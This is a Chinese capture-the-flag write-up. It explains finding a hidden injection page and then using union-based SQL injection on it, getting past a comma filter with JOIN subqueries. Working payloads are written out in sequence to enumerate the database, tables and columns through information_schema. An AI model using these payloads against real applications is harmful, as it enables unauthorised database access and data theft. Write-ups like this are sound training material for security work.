“百度杯”CTF比賽 九月場SQLi ---------mozhe
題目連結:https://www.ichunqiu.com/battalion
點選進去,檢視原始碼
發現login.php?id=1
一般是存在sql注入的,可是我測試了好幾遍,sqlmap也跑過了,也沒發現啥
沒辦法,查看了官方wp,說是存在index.php,並在其header頭有真正的注入點
在index.php請求進行301重定向,明顯發現上面的連結只差一個字母,我的是直接看到注入點l0gin.php?id=1。不能直接看到的要在header請求b68a89d1c4a097a9d863lb3ac45e8979.php
來到正確的注入頁面
發現一個部分的表圖 ,從表的結構可以知道欄位為2
單引號檢測,直接查詢報錯
那就 ' order by 1,2#
直接過濾了逗號後面的語句,並且id回顯的是過濾後的語句
百度一波,逗號繞過注入
join 繞過
構造語句:1' union select * from (select 1) a join (select 2 ) b %23
發現回顯正常,照上面分析,id會回顯過濾後的sql語句(1' union select * from (select 1) a join (select 2 ) b %23)才對
這裡沒有回顯,說明注入語句執行成功,因為是聯合查詢,union 前後的兩個注入語句都是執行成功的。而這裡第一個執行的結果輸出了,以致第二個sql查詢結果無法顯示出來。
那我們可以讓第一個結果執行為空,第二個就可以顯示出來了
id=3的時候,username是空的
直接構造語句:3' union select * from (select 1) a join (select 2 ) b %23
正常回顯查詢的欄位
現在查詢資料庫
3' union select * from (select 1) a join (select database() ) b %23
查詢表
3' union select * from (select 1) a join (select table_name from information_schema.tables where table_schema='sqli' ) b %23
得到user表(不貼圖)
查詢列
3' union select * from (select 1) a join (select group_concat(distinct(column_name)) from information_schema.columns where table_schema='sqli' and table_name='users' ) b #
(這裡連線字元函式換成limit也可以,不過照樣的繞過逗號)
查詢欄位
get flag